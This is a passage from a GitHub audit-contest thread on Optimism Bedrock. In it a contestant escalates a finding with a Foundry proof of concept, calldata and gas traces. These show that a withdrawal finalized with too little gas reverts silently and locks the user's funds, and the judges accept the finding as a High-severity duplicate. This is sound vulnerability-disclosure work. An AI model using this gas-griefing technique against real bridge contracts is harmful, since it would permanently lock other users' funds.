  100196
  gas needed after external call
  25038
  success after finalize withdraw????
  true
  bob's balance after the function call
  1000000000000000000

[PASS] testOutOfGas() (gas: 136001)
Logs:
  bob's balance before
  0
  gas left after externall call
  11603
  success after finalize withdraw????
  false
  bob's balance after the function call
  0

Test result: ok. 2 passed; 0 failed; finished in 1.58ms

as we can see, in the first successful call the gas needed after the external call

 bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);

is

  gas needed after external call
  25038
  success after finalize withdraw????
  true

while in the second running test case

  gas left after externall call
  11603
  success after finalize withdraw????
  false

As the original report stated:

some things to note from the test:

Approximately 25,000 wei of gas is needed after the external call.
the 2nd test only had 11,603 gas remaining so the function reverts silently
Malicious user can take advantage of this and ensure the gas remaining after the external call

 bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);

In RelayMessenge, is less than 25,000 wei in order to grief another user's withdrawal causing his funds to be permanently lost

the 25000 wei gas is the approximate amount of gas needed to complete the code execution clean up in RelayMessenge function call. (we use the word approximate because console.log also consumes some gas)

basically attacker can make the underlying call sliently revert with out of gas error

the above is the report of our wording while the report from respected auditor obront and trust put it in their way:

#93

If the call uses up all of the avaialble gas (succeeding or reverting), we are left with 158,998 * 1/64 = 2,484 for the remaining execution

The remaining execution includes multiple SSTOREs which totals 23,823 gas, resulting in an OutOfGas revert

In fact, if the call uses any amount greater than 135,175, we will have less than 23,823 gas remaining and will revert

As a result, none of the updates to L1CrossDomainMessenger occur, and the transaction is not marked in failedMessages for replayability

However, the remaining 3174 gas is sufficient to complete the transction on the OptimismPortal, which sets finalizedWithdrawals[hash] = true and locks the withdrawals from ever being made again

note the remaining gas they dervied is 23,823 gas, ours is appromiately 25000 wei (due to console.log)

See the impact of report 93

Any migrated withdrawal that uses more than 135,175 gas will be bricked if insufficient gas is sent. This could be done by a malicious attacker bricking thousands of pending withdrawals or, more likely, could happen to users who accidentally executed their withdrawal with too little gas and ended up losing it permanently.

this is exactly our POC and report shows!

could happen to users who accidentally executed their withdrawal with too little gas and ended up losing it permanently

or malicious actor intention use too little gas to permanently lock user fund.

and the POC and the report does make sure the function call is the same as the bridge call in canonical version of the bedrock contract.

because in the bridge call, L2 is calling init withdraw, then L1 call finalizeWithdraw -> call relayMessager

which is exactly the call order in the report / POC

	bytes memory message = abi.encodeWithSelector(
		'0x',
		messager,
		4,
		sender,
		target,
		1 ether,
		minGasLimit
	);

	bytes memory messageRelayer = abi.encodeWithSelector(
		RelayMessagerReentrancy.relayMessage.selector,
		4,
		sender,
		target,
		1 ether,
		minGasLimit,
		message   
	);

	portal.finalizeWithdraw{value: 1 ether, gas: 110000 wei}(minGasLimit, 1 ether, messageRelayer);

	console.log("bob's balance after the function call");
	console.log(bob.balance);

first we can composing the message calldata to call relayMessanger, then construct message calldata to call portal (in L1), the call order is

L1 Portal # finalizeWithdraw -> L1 RelayMessenge.

I implore the review / judge to git clone the POC repo and run it.

https://github.com/Jiaren-tang/poc-for-bedrock-update-contest (I will remove this POC after the escalation has been resolved.)

If we run with

forge test -vv

the output is

Running 2 tests for test/Counter.t.sol:CounterTest
[PASS] testHasEnoughGas() (gas: 131483)
Logs:
  bob's balance before
  0
  0x2e1a7d4d
  0x00735de6
  gas left after externall call
  99377
  gas needed after external call
  25038
  success after finalize withdraw????
  true
  bob's balance after the function call
  1000000000000000000

[PASS] testOutOfGas() (gas: 136014)
Logs:
  bob's balance before
  0
  0x2e1a7d4d
  0x00735de6
  gas left after externall call
  10784
  success after finalize withdraw????
  false
  bob's balance after the function call
  0

Test result: ok. 2 passed; 0 failed; finished in 1.60ms

if we run with

forge test -vvvv

to show transaction trace, we see there is a out of gas error!!!

Running 2 tests for test/Counter.t.sol:CounterTest
[PASS] testHasEnoughGas() (gas: 131483)
Logs:
  bob's balance before
  0
  0x2e1a7d4d
  0x00735de6
  gas left after externall call
  99377
  gas needed after external call
  25038
  success after finalize withdraw????
  true
  bob's balance after the function call
  1000000000000000000

Traces:
  [131483] CounterTest::testHasEnoughGas() 
    ├─ [0] console::log(bob's balance before) [staticcall]
    │   └─ ← ()
    ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [107335] Portal::finalizeWithdraw{value: 1000000000000000000}(30000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000c4307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000)
    │   ├─ [0] console::e05f48d1(2e1a7d4d00000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::e05f48d1(00735de600000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [93268] RelayMessagerReentrancy::relayMessage{value: 1000000000000000000}(4, CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x000000000000000000000000000000004963190b, 1000000000000000000, 30000, 0x307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
    │   │   ├─ [0] 0x000000000000000000000000000000004963190b::30780000{value: 1000000000000000000}(0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::log(gas left after externall call) [staticcall]
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000018431) [staticcall]
    │   │   │   └─ ← ()
    │   │   ├─ emit RelayedMessage(msgHash: 0x312a0f88f8c395812d1b16d7fbd916cc2f0140f71f339559d474344102ae2546)
    │   │   ├─ [0] console::log(gas needed after external call) [staticcall]
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::f5b1bba9(00000000000000000000000000000000000000000000000000000000000061ce) [staticcall]
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ [0] console::log(success after finalize withdraw????) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::log(true) [staticcall]
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] console::log(bob's balance after the function call) [staticcall]
    │   └─ ← ()
    ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000de0b6b3a7640000) [staticcall]
    │   └─ ← ()
    └─ ← ()

[PASS] testOutOfGas() (gas: 136014)
Logs:
  bob's balance before
  0
  0x2e1a7d4d
  0x00735de6
  gas left after externall call
  10784
  success after finalize withdraw????
  false
  bob's balance after the function call
  0

Traces:
  [136014] CounterTest::testOutOfGas()
    ├─ [0] console::log(bob's balance before) [staticcall]
    │   └─ ← ()
    ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [111867] Portal::finalizeWithdraw{value: 1000000000000000000}(30000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000c4307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000)
    │   ├─ [0] console::e05f48d1(2e1a7d4d00000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::e05f48d1(00735de600000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [90616] RelayMessagerReentrancy::relayMessage{value: 1000000000000000000}(4, CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x000000000000000000000000000000004963190b, 1000000000000000000, 30000, 0x307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
    │   │   ├─ [0] 0x000000000000000000000000000000004963190b::30780000{value: 1000000000000000000}(0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::log(gas left after externall call) [staticcall]
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000002a20) [staticcall]
    │   │   │   └─ ← ()
    │   │   └─ ← "EvmError: OutOfGas"
    │   ├─ [0] console::log(success after finalize withdraw????) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::log(false) [staticcall]
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] console::log(bob's balance after the function call) [staticcall]
    │   └─ ← ()
    ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test result: ok. 2 passed; 0 failed; finished in 1.63ms

(The POC code is the same! I just upload it to github so the reivew can easily clone and run)

Again in conclusion this report help show what the impact of #93 is saying

This could be done by a malicious attacker bricking thousands of pending withdrawals or, more likely, could happen to users who accidentally executed their withdrawal with too little gas and ended up losing it permanently.

and

also help show will not account for the cost of CALL and lock user fund as Alex point it!

the impact is severe and does result in loss of fund, according to sherlock judge's guideline:

this report deserves a high severity rating.

High: This vulnerability would result in a material loss of funds, and the cost of the attack is low (relative to the amount of funds lost). The attack path is possible with reasonable assumptions that mimic on-chain conditions. The vulnerability must be something that is not considered an acceptable risk by a reasonable protocol team.

Thanks!

You've created a valid escalation for 10 USDC!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

@sherlock-admin sherlock-admin added the Escalated This issue contains a pending escalation label Apr 25, 2023
@hrishibhat
Copy link
Contributor

Escalation accepted

Lead Judge comment:

"I think additional info makes it valid as Dup of 40

Disagree with dup of 93, as that’s related to withdrawals"

Lead Watson comment:

"93 is only about migrated withdrawals. This is about normal withdrawals, which is same as 40.

The core challenge here is that the bug described is wrong, but the POC is right, and exposes the flaw that was actually found by #40."

Additionally, the Sponsor also considers the issue to be a duplicate of #40.
Agree with the above comments that this issue is not about migrating withdrawals in 93 and is about the underlying issue in 40.
Considering this a valid duplicate of #40

@sherlock-admin
Copy link
Contributor Author

Escalation accepted

Lead Judge comment:

"I think additional info makes it valid as Dup of 40

Disagree with dup of 93, as that’s related to withdrawals"

Lead Watson comment:

"93 is only about migrated withdrawals. This is about normal withdrawals, which is same as 40.

The core challenge here is that the bug described is wrong, but the POC is right, and exposes the flaw that was actually found by #40."

Additionally, the Sponsor also considers the issue to be a duplicate of #40.
Agree with the above comments that this issue is not about migrating withdrawals in 93 and is about the underlying issue in 40.
Considering this a valid duplicate of #40

This issue's escalations have been accepted!

Contestants' payouts and scores will be updated according to the changes made on this issue.

@sherlock-admin sherlock-admin added Escalation Resolved This issue's escalations have been approved/rejected and removed Escalated This issue contains a pending escalation labels May 19, 2023
@hrishibhat hrishibhat added the Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label label May 19, 2023
@sherlock-admin sherlock-admin added High A valid High severity issue and removed Medium A valid Medium severity issue labels May 19, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Escalation Resolved This issue's escalations have been approved/rejected High A valid High severity issue Reward A payout will be made for this issue Sponsor Disputed The sponsor disputed this issue's validity
Projects
None yet
Development

No branches or pull requests

4 participants